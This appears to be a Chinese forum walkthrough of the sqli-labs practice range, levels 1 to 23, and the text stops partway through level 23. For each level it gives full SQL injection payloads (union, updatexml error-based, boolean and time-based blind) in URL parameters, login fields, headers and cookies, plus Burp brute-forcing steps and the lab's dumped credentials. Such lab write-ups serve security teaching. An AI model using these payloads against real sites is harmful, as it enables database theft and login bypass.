sql-libs通关详解

打印 上一主题 下一主题

主题 972|帖子 972|积分 2916

1-4关

1.第一关

我们输入?id=1 看回显,通过回显来判断是否存在注入,以及用什么方式举行注入,直接上图




可以根据结果指定是字符型且存在sql注入漏洞。由于该页面存在回显,所以我们可以使用联合查询。联合查询原理简单说一下,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
那我们直接上命令
  1. ```powershell
  2. id=1'  order by 3 --+  
  3. ?id=1'  order by 4  --+  发现没有回显,说明有3个字段
  4. ?id=-1' union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  5. ?id=-1' union select 1,database(),version() --+  可以得出数据库的名字和版本号
  6. ?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的表名
  7. ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  and table_schema=database()--+  得到表中的字段,利用表中的字段得到我们的想要的数据
  8. ?id=-1' union select 1,2,group_concat(username,0x7e,password)  from users --+  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
复制代码
那我们接着直接上图

在这里还是解释一下,由于这里报出一个没有4,所以我们判断有3个字段
那么我就就要利用字段来判断回显了

接着去判断数据库名称和版本号

这里我们得到了库名是security,那么我就利用库名来判断表名

发现有一个users表,我们可以利用,我们利用user表去获取其中的字段
发现字段以后我们就可以去得到这个表中的用户名和暗码了

2.第二关

这一关同理,只是闭合点,没有’闭合 所以直接执行联合查询语句就好了

我们直接上命令
  1. ?id=1 and 1=1
  2. ?id=1 order by 3
  3. ?id=1 order by 4  发现没有回显,说明有3个字段
  4. ?id=-1 union select 1,2,3  判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  5. ?id=-1 union select 1,database(),version()  可以得出数据库的名字和版本号
  6. ?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()    得到库中的所有表  
  7. ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'  得到表中的字段,利用表中的字段得到我们的想要的数据
  8. ?id=-1 union select 1,2,group_concat(username,0x7e,password)  from users  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
复制代码
额,在靶场环境中的话,数据库名 表名字段名都不变,所以我们直接去查询一下账号暗码就好!

同样可以得到结果
3.第三关


在这里我们输入 --+之后还是报错,说明这里不消’闭合 我们尝试着用)

我们发现用)可以完美的闭合,从而可以举行注入,所以我们直接上命令
  1. ?id=1')  and 1=1 --+
  2. ?id=1') order by 3 --+
  3. ?id=1')  order by 4  --+  发现没有回显,说明有3个字段
  4. ?id=-1') union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  5. ?id=-1') union select 1,database(),version() --+  可以得出数据库的名字和版本号
  6. ?id=-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的所有表  
  7. ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+  得到表中的字段,利用表中的字段得到我们的想要的数据
  8. ?id=-1') union select 1,2,group_concat(username,0x7e,password)  from users --+
复制代码
同理,我们还是直接测试一下账号暗码!

所以我们的结果是正确的
4.第四关


这里我们发现虽然使用–+不会报错,但是使用order by4 也有回显,所以这里我们应该是闭合点没找对,我们尝试着使用)

发现使用")可以,所以我们找到了闭合点是")
直接上命令:
  1. ?id=1")  and 1=1 --+
  2. ?id=1")  order by 3 --+
  3. ?id=1")  order by 4  --+  发现没有回显,说明有3个字段
  4. ?id=-1") union select 1,2,3  --+ 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  5. ?id=-1") union select 1,database(),version() --+  可以得出数据库的名字和版本号
  6. ?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() --+    得到库中的所有表  
  7. ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+  得到表中的字段,利用表中的字段得到我们的想要的数据
  8. ?id=-1 ") union select 1,2,group_concat(username,0x7e,password)  from users --+
复制代码
同理直接测试账号暗码

5-8关

1.第五关


看到这里就知道了有回显,但是不明确,可能有注入点,可以找,但是得用盲注或者使用显错注入
那么我们来找闭合点


我们知道了,必要用’ --+来举行闭合注入,然后我们选择显错注入,显错注入相对盲注来说更加简单,我们可以先去尝试着用显错
直接上命令
  1. ?id=1' or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+    #  使用显错注入获得数据库的名字  
  2. ?id=1' or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+    #  使用显错注入获取到版本号
  3. ?id=1' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+                                 # 使用显错注入获取到表名
  4. ?id=1' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ #使用显错注入获取到字段名
  5. ?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+  使用显错注入获取到username具体值
  6. ?id=1' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+  # 使用显错注入获取到password的具体值
  7. ?id=1' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+  # 使用显错注入获取到username和password的所有值
复制代码
接着我们来上图



我们发现一个user表,对我们有效,我们可以尝试去找一下表中的详细字段

我们发现存在用户名和暗码,我们去尝试着试一下爆出用户和暗码的值

在这里我们只发现了一个用户名和暗码,而我们想要所有的用户名和暗码,所以我们直接上bp

设置1个payload即可

我们先给1-20区尝试

在这里我们添加显示位方便我们查找

我们成功的找到了所有的用户和暗码
2.第六关


这里就存在一个问题,使用’不能举行闭合

这里我们就找到了闭合点,所以我们可以使用显错注入来获取我们想要的到的内容了
上命令!
  1. ?id=1" or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+     # 使用显错注入获得数据库的名字  
  2. ?id=1" or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+     # 使用显错注入获取到版本号
  3. ?id=1" or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+   # 使用显错注入获取到表名
  4. ?id=1" or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+  #  使用显错注入获取到字段名
  5. ?id=1" or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+  # 使用显错注入获取到username具体值
  6. ?id=1" or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+  # 使用显错注入获取到password的具体值
  7. ?id=1" or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+  # 使用显错注入获取到username和password的所有值
复制代码
同理我们这里直接去测试账号暗码就好了

3.第七关

在这里我们先去寻找注入点

发现使用’)) --+可以 然后我们就使用显错注入
  1. ?id=1')) or (updatexml(1,concat(0x5c,database(),0x5c),1)) --+      # 使用显错注入获得数据库的名字  
  2. ?id=1')) or (updatexml(1,concat(0x5c,version(),0x5c),1))  --+      # 使用显错注入获取到版本号
  3. ?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) --+    #使用显错注入获取到表名
  4. ?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) --+ # 使用显错注入获取到字段名
  5. ?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) --+          # 使用显错注入获取到username具体值
  6. ?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) --+           # 使用显错注入获取到password的具体值
  7. ?id=1')) or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) --+         # 使用显错注入获取到username和password的所有值
复制代码
同理我们直接测账户暗码

bp同理,直接上图

4.第八关


发现一个问题,闭合以后后面没信息了

然而使用–+将后面注释以后又出来回显,所以这里存在注入,我们可以尝试着显错注入

发现一个问题,不会报错,所以这里不存在显错注入,那没得选,只能盲注了,我们选择布尔型的盲注,由于这里有回显
那我们直接上命令
  1. ?id=1' and length(database())=8 --+            # 使用这个来爆数据库的长度为多少
  2. ?id=1' and substr(database(),1,1)='s' --+      # 使用这个来爆数据库的名字
  3. ?id=1'and (select count(table_name)from information_schema.tables where table_schema=database())=4  #爆出表的个数
  4. ?id=1' and length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=6 --+  # 爆第一个表的长度是6
  5. ?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' +-+   # 爆出第一个表的第一个字母是e   从而爆出表的名字
  6. ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3 -- +          #判断表中有3个字段
  7. ?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 --+           # 判断第一个字段的长度是否为2
  8. ?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i' --+     # 判断第一个字段的第一个是否为i
  9. ?id=1' and substr((select username from users limit 0,1),1,1)='D' --+     # 判断username中的数据一个是否为D
  10. ?id=1' and substr((select password from users limit 0,1),1,1)='D' --+     # 判断password中的数据第一个是否为D
复制代码

这里尝试以后发现数据库长度是8,也可以直接用bp去测然后我们开始测数据库的名称,上bp

这里payload介绍一下,由于有substr命令,所以选择1这个payload,又由于是测试数据库,所以选择s

由于数据库的长度我们得出8 所以这里我们给到9

数据库名一般为字母,所以我们给到a-z

所以末了结果我们成功的爆出了数据库的名称为security
接着我们来去找他的库中的表的个数

我们得到它的表的个数是4个,那么我就可用bp测试它的每个表的长度了

payload1是由于要爆表,payload2是长度

这个是由于有4个表,所以给到3

而长度我们直接给到10

我们得出结论,第一个表长度是6,第二个是8,第三个是7,第四个是5,最长的是8我们必要特别注意一下,由于一会要用
接着我们来爆每一个表的详细内容

第一个是表的个数 第二个是详细的表的长度 第三个是详细的值

同理,有4个表,我们给到3

同理表长度最长的是8,所以我们给到9

也是同理,我们爆表的名字,使用a-z

我们得出结果:表名分别为:emails、referers、uagents、users
我们利用users表去获取字段,先获取字段的个数

通过测试我们发现有3个字段
那我们就可以去爆每一个字段的长度了

这里同理,payload1 是字段的个数 payload是长度

由于我们得到字段的个数是3所以我们给到3

字段的长度我们给到10

我们得到结果,第一个字段长度为2,第二个字段长度为8,第三个字段长度为8 最长的是8,记着,一会要用
那我们就可以去爆字段的详细内容了

同理


这里都是同理,我们直接上bp结果图

结果已经出来了:内容分别为 id、username、password
我们可以利用username和password获取到数据库中的详细字段的数据

由于我们不知道里面有多少个数据,所以我们先给20个尝试一下所以第一个给到20

这里我们说一下第三个,由于要爆用户名,用户名可能存在一些特殊的符号,所以我们的第三个要加一些特殊符号以及数字

到此我们得出它的用户名分别为dumb angelina dummy secure stupid superman batman admin admin1 admin2 admin3 dhakkan admin4
同理我们得到暗码

我们得到的暗码是:dumb、i-kill-you、p@assword、crappy、stupidity、genious、mob!le admin admin1 admin2 admin3 dumbo admin4
9-10关

1.第九关


我们发现一个问题,就是不管怎么尝试找闭合点都找不到,页面总是不变,这时候就想到了时间延时注入
我们参加sleep函数试一下

我们发现将1闭合以后延时输出就可以
呢我们就直接延时注入就好了,直接上命令
  1. ?id=1'and if(length((select database()))=8,sleep(5),1)--+                 # 用时间延时注入判断数据库长度
  2. ?id=1'and if(substr((select database()),1,1)='s',sleep(5),1)--+           # 使用时间延时判断数据库的第一个字母是不是s  
  3. ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+    # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
  4. ?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+                           # 使用时间延时的注入来判断有4个表
  5. ?id=1' and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(4),1) --+               # 使用时间延时注入来判断第一个表的长度是6
  6. ?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(4),1) --+          # 使用时间延时注入来判断第一个表的名字
  7. ?id=1' and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) --+   # 使用延时注入来判断第一个表中的字段有3个
  8. ?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(4),1) --+         # 使用延时注入来判断表中的字段的长度
  9. ?id=1' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(4),1) --+   # 使用延时注入来判断第个表中的第一个字段是i
  10. ?id=1' and if(substr((select username from users limit 0,1),1,1)='D',sleep(5),1) --+  # 使用延时注入来判断username字段中的数据是否为D
  11. ?id=1' and if(substr((select password from users limit 0,1),1,1)='D',sleep(5),1) --+  # 使用延时注入来判断password字段中的数据是否为
复制代码

我们判断数据库的长度是8,接着我们就可以去判断数据库的内容了

还是与前面同理,设置好paylad直接攻击,我们直接上bp图

我们得到数据库的名字为security 同样的思路我们去找表的个数、长度、内容、以及字段的个数、长度、内容、以及详细的数据,思路跟上面的思路是一样的,这里我们直接给到一个末了的数据图!

暗码的思路是一样的,这里就不上图了,结果也肯定是一样的
2.第十关


同样的道理,使用时间延时,找到闭合点是"后面思路完全一样,我们直接上命令
  1. ?id=1"and if(length((select database()))=8,sleep(5),1)--+                # 用时间延时注入判断数据库长度
  2. ?id=1"and if(substr((select database()),1,1)='s',sleep(5),1)--+          # 使用时间延时判断数据库的第一个字母是不是s  
  3. ?id=1"and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+   # 使用时间延时注入判断数据的的第一个字母是不是s经过ascii编码后的数字。
  4. ?id=1" and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+                         #  使用时间延时的注入来判断有4个表
  5. ?id=1" and if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(4),1) --+              #  使用时间延时注入来判断第一个表的长度是6
  6. ?id=1" and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(4),1) --+        #  使用时间延时注入来判断第一个表的名字
  7. ?id=1" and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(5),1) --+  # 使用延时注入来判断第一个表中的字段有3个
  8. ?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(4),1) --+         #  使用延时注入来判断表中的字段的长度
  9. ?id=1" and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(4),1) --+   #  使用延时注入来判断第个表中的第一个字段是i
  10. ?id=1" and if(substr((select username from users limit 0,1),1,1)='D',sleep(5),1) --+  #  使用延时注入来判断username字段中的数据是否为D
  11. ?id=1" and if(substr((select password from users limit 0,1),1,1)='D',sleep(5),1) --+  #  使用延时注入来判断password字段中的数据是否为D
复制代码
11-14关

1.第十一关


这里我们发现是post哀求了,而不是get哀求

看到我们就已经知道了,存在注入漏洞,且可以用联合注入
接着来找注入点就好了
我们可以用bp将这个哀求拦截下来,然后在bp里面去操作

我们发现在哀求体中将username后面使用’闭合以后使用or1=1形成永真,而#又将后面的注释掉,出现了结果,所以这里可以注入
所以这里我们可以直接使用联合注入
直接上命令
  1. ' order by 3 # 发现没有回显,说明有2个字段
  2. ' union select 1,2  # 判断显错位,可以得出,显错位是1,2
  3. ' union select database(),version() # 可以得出数据库的名字和版本号
  4. ' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #    得到库中的所有表  
  5. ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schmema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据
  6. ' union select 1,group_concat(username,0x7e,password)  from users #  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候跟好看!!!
复制代码


在这里我们可以得到它有2个字段



我们发现有一个users表我们可以去尝试

这里有一个usernam和password我们可以利用

我们成功的把所有的全部爆出来了
2.第十二关


还是post哀求,继续bp

同样继续找注入点

在这里尝试之后发现存在双引号和括号
那么我们成功的找到了注入闭合点
接着我们直接上命令
  1. ")order by 3 # 发现没有回显,说明有2个字段
  2. ")union select 1,2  # 判断显错位,可以得出,显错位是1,2
  3. ")union select database(),version() # 可以得出数据库的名字和版本号
  4. ")union select 1,group_concat(table_name)from information_schema.tables where table_schema=database() #    得到库中的所有表  
  5. ")union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schmema=database()#  得到表中的字段,利用表中的字段得到我们的想要的数据
  6. ") union select 1,group_concat(username,0x7e,password)  from users #  得到我们想要的username 和 password  0x7e是编码的东西,解码之后是~是为了让我们看回显的时候更好看!!!
复制代码
之后就跟上一个同理了,这里我们还是直接出一个末了结果

这关就成功了
3.第十三关

同理我们去找闭合点

这里报错了,说明存在注入

使用万能暗码登岸之后,找到了闭合点
我们开始尝试着注入

在这里我们判断出它有2个字段,接着来判断显错位

这里我们发现一个问题,它的显错位没有出来,反而登岸进去了,那就感觉这里不存在联合注入了,这里得举行盲注或者显错注入,我们还是优先选择显错注入
我们直接上命令
  1. ') or (updatexml(1,concat(0x5c,database(),0x5c),1))#    使用显错注入获得数据库的名字  
  2. ') or (updatexml(1,concat(0x5c,version(),0x5c),1)) #    使用显错注入获取到版本号
  3. ') or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) #                           使用显错注入获取到表名
  4. ') or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) #   使用显错注入获取到字段名
  5. ') or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) #     使用显错注入获取到username具体值
  6. ') or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) #
  7.       使用显错注入获取到password的具体值
  8. ') or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) #   使用显错注入获取到username和password的所有值
复制代码

得出数据库的名字为security

有一个users表我们可以利用

有3个字段 我们要知道username 和password

这里我们出来一个,然后直接用攻击就好了

这里我们成功的将所有的账户名和暗码解决!!!!
4.第十四关


同理去找注入点

发现使用"登岸成功这里肯定是存在注入点了 发现可以使用显错注入


  • 直接给末了结果,由于给13是一样的

    与13一样的只是闭合使用"闭合就好了
15-16关

1.第十五关


这里使用万能暗码直接就能进入

尝试着去找字段的时候没有回显,这里应该是要使用盲注了

很显着这里存在延时,直接利用延时注入
这里我们直接先上命令
  1. 'or if(length((select database()))=8,sleep(1),1)#             #  用时间延时注入判断数据库长度
  2. ' or if(substr((select database()),1,1)='s',sleep(1),1)  #    #  使用时间延时判断数据库的第一个字母是不是s  
  3. 'or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) #                      #  使用时间延时的注入来判断有4个表
  4. ' or if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1)  #            #  使用时间延时注入来判断第一个表的长度是6
  5. ' or if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) #         #  使用时间延时注入来判断第一个表的名字
  6. ' or if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个
  7. ' or  if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1)          #  使用延时注入来判断表中的字段的长度
  8. ' or  if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1)   #  使用延时注入来判断第个表中的第一个字段是i
  9. ' or if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  #  使用延时注入来判断username字段中的数据是否为D
  10. ' or if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  #  使用延时注入来判断password字段中的数据是否为D
复制代码

判断库的长度

得知,库的长度是8
判断库的名字

得到库名为security

这里我们发现表的个数为4个我们要开始尝试着去找每一个表的长度

第一个payload我们给3由于有4个表

第二个payload我们给10

我们得出结果 表的长度分别为6 8 7 5
接着我们来获取表的内容
同理还是这是payload
如图

介绍一下,第一个是表的个数有4个所以我们给3 第二个是表的长度,最长的是8所以我们给8,第三个是表的内容我们给a-z

我们的得到了表的名字,发现有一个users,我们可以使用users去判断它的字段的个数

从这里我们可以得出它的字段的总数是3
然后我们来判断它的每一个字段的长度
在这里我们发现字段长度分别为 2 8 8
我们来找字段的内容

payload介绍一下
由于有3个字段所以第一个payload给3 字段最长的是8所以第二个给8 第三个给a-z

在这里得到了username和password我们可以去找详细的数据,原理是一样的,末了的结果跟上面的账户暗码是一样的。
2.第十六关

同样是找闭合点
找到了闭合点,找一下使用注入的方法

这里发现没有回显,所以只能使用延时注入,跟上面15关一样,只是闭合点不一样
直接上命令
  1. ")or if(length((select database()))=8,sleep(1),1)#              用时间延时注入判断数据库长度
  2. ")or if(substr((select database()),1,1)='s',sleep(1),1)  #        使用时间延时判断数据库的第一个字母是不是s  
  3. ")or if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(1),1) #                           使用时间延时的注入来判断有4个表
  4. ")or if (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(1),1)  #            使用时间延时注入来判断第一个表的长度是6
  5. ")or if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(1),1) #         使用时间延时注入来判断第一个表的名字
  6. ")or if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(1),1) # 使用延时注入来判断第一个表中的字段有3个
  7. ")or  if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(1),1) #        使用延时注入来判断表中的字段的长度
  8. ")or  if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)='i',sleep(1),1) #  使用延时注入来判断第个表中的第一个字段是i
  9. ")or if(substr((select username from users limit 0,1),1,1)='D',sleep(1),1) --+  使用延时注入来判断username字段中的数据是否为D
  10. ")or if(substr((select password from users limit 0,1),1,1)='D',sleep(1),1) --+  使用延时注入来判断password字段中的数据是否为D
复制代码
过程完全一样就是闭合点不一样所以这里不给图了,照着15就好了!
17关


发现多了一个暗码重置 我们可以抓包去看

发现一个问题,我们不管怎么去尝试都找不到注入点,在username中找不到注入点,就应该是在password中找
所以我们必要找一下username的名称

爆出账号以后,尝试着从passwrod处举行注入
找到闭合点以后尝试着注入

这里发现不能使用order by,我们尝试着使用报错注入
直接上命令
  1. ' or (updatexml(1,concat(0x5c,database(),0x5c),1))     # 使用显错注入获得数据库的名字  
  2. ' or (updatexml(1,concat(0x5c,version(),0x5c),1))     #  使用显错注入获取到版本号
  3. ' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))                           # 使用显错注入获取到表名
  4. ' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1))    #使用显错注入获取到字段名
  5. ' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1))            # 使用显错注入获取到username具体值
  6. ' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))                 # 使用显错注入获取到password的具体值
  7. ' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) # 使用显错注入获取到username和password的所有值
复制代码

利用users表获获取表中的字段

获取username 和passwrod
得到用户名和暗码

18-20关

1.第十八关


登岸一下之后发现一个ua,这里是我们登岸以后有一个回显是ua,所以我们可以尝试着来ua注入
直接上命令
  1. ' or (updatexml(1,concat(0x5c,database(),0x5c),1)) or '1'='1    #  使用显错注入获得数据库的名字  
  2. ' or (updatexml(1,concat(0x5c,version(),0x5c),1)) or '1'='1     #  使用显错注入获取到版本号
  3. ' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1)) or '1'='1                            #  使用显错注入获取到表名
  4. ' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) or '1'='1   #  使用显错注入获取到字段名
  5. ' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) or '1'='1       #  使用显错注入获取到username具体值
  6. ' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1)) or '1'='1      #  使用显错注入获取到password的具体值
  7. ' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1)) or '1'='1    #  使用显错注入获取到username和password的所有值
复制代码

利用users表获取我们想要得到的字段

然后得到用户名和暗码

得到了所有的内容
2.第十九关


同理我们发现这里有一个youre referer is xxxx 所以这一关是我们登岸之后去尝试着利用referer去注入
所以我们抓包去看一下有没有注入点

看下面的回显信息我们找到了注入点
接着我们来尝试显错注入
上命令
  1. ' or (updatexml(1,concat(0x5c,version(),0x5c),1))   and '1'='1   #  使用显错注入获取到版本号
  2. ' or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  and '1'='1                          #  使用显错注入获取到表名
  3. ' or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1))  and '1'='1  #  使用显错注入获取到字段名
  4. ' or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) and '1'='1     #  使用显错注入获取到username具体值
  5. ' or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))  and '1'='1    #  使用显错注入获取到password的具体值
  6. ' or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))  and '1'='1   #  使用显错注入获取到username和password的所有值
复制代码

我们利用users表获取我们想要得到的内容
然后我们获取username和password内容

3.第二十关


这里我们发现一个cookie值,同样的道理我们登岸以后会提示有一个cookie值,这里就可能是利用cookie值举行注入

我们利用这里注入,找一下注入点

我们找到了注入点,开始尝试注入
上命令
  1. ' order by 3   #
  2. ' order by 4   #  发现没有回显,说明有3个字段
  3. ' union select 1,2,3  # 判断显错位,可以得出,显错位是2,3  利用2,3进行注入
  4. ' union select 1,database(),version()  # 可以得出数据库的名字和版本号
  5. ' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()    # 得到库中的所有表  
  6. ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()   #  得到表中的字段,利用表中的字段得到我们的想要的数据
  7. ' union select 1,group_concat(username,0x22,password) from users  #        得到用户名和密码
复制代码
成功的爆出数据
21-22关

1.第二十一关


同理,登岸以后发现有cookie,所以还是尝试着用cookie注入,我们开始抓包

但是这里我们发现一个问题,cookie后面的内容并非我们输入的东西

这里很显着是php代码对我们输入的东西举行了编码
不外不重要我们还是先去找闭合点

我们发现单引号编码为jw==所以我们用这个去尝试一下


所以我们发现使用’)#就可以

使用admin’)编码以后就成功
所以接着我们直接上命令
  1. admin') or (updatexml(1,concat(0x5c,database(),0x5c),1))        # 使用显错注入获得数据库的名字  
  2. admin') or (updatexml(1,concat(0x5c,version(),0x5c),1))          # 使用显错注入获取到版本号
  3. admin') or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))  # 使用显错注入获取到表名
  4. admin')or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) #   使用显错注入获取到字段名
  5. admin') or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) #      使用显错注入获取到username具体值
  6. admin') or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))#      使用显错注入获取到password的具体值
  7. admin') or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))#    使用显错注入获取到username和password的所有值
复制代码

2.第二十二关


同理还是编码,我们找一下闭合点

闭合点是" #
直接上命令
  1. admin" or (updatexml(1,concat(0x5c,database(),0x5c),1))#     使用显错注入获得数据库的名字  
  2. admin" or (updatexml(1,concat(0x5c,version(),0x5c),1))  #     使用显错注入获取到版本号
  3. admin" or (updatexml(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x5c),1))#                            使用显错注入获取到表名
  4. admin" or (updatexml(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),0x5c),1)) #   使用显错注入获取到字段名
  5. admin" or (updatexml(1,concat(0x5c,(select group_concat(username)from(select username from users)a),0x5c),1)) #      使用显错注入获取到username具体值
  6. admin" or (updatexml(1,concat(0x5c,(select group_concat(password)from(select password from users)a),0x5c),1))#      使用显错注入获取到password的具体值
  7. admin" or (updatexml(1,concat(0x5c,(select group_concat(username,0x5c,password)from(select username,password from users limit 0,1 )a),0x5c),1))#    使用显错注入获取到username和password的所有值
复制代码

同理,我们 直接去爆用户名和暗码

23关

1.第二十三关

我们发现这里是get哀求,我们去找一下注入点

我们发现使用’闭合以后报错了,应该就可以用’ 然后我们吧后面闭合

这里发现报错了,这里可能是由于吧–这两个注释符号过滤了

这里我们使用or ‘1’='1 将后面的引号闭合
这里我们就找到了注入点,那么我们直接上命令
  1. # 爆库
  2. ?id=' union select 1,2,database() '
  3. # 爆表
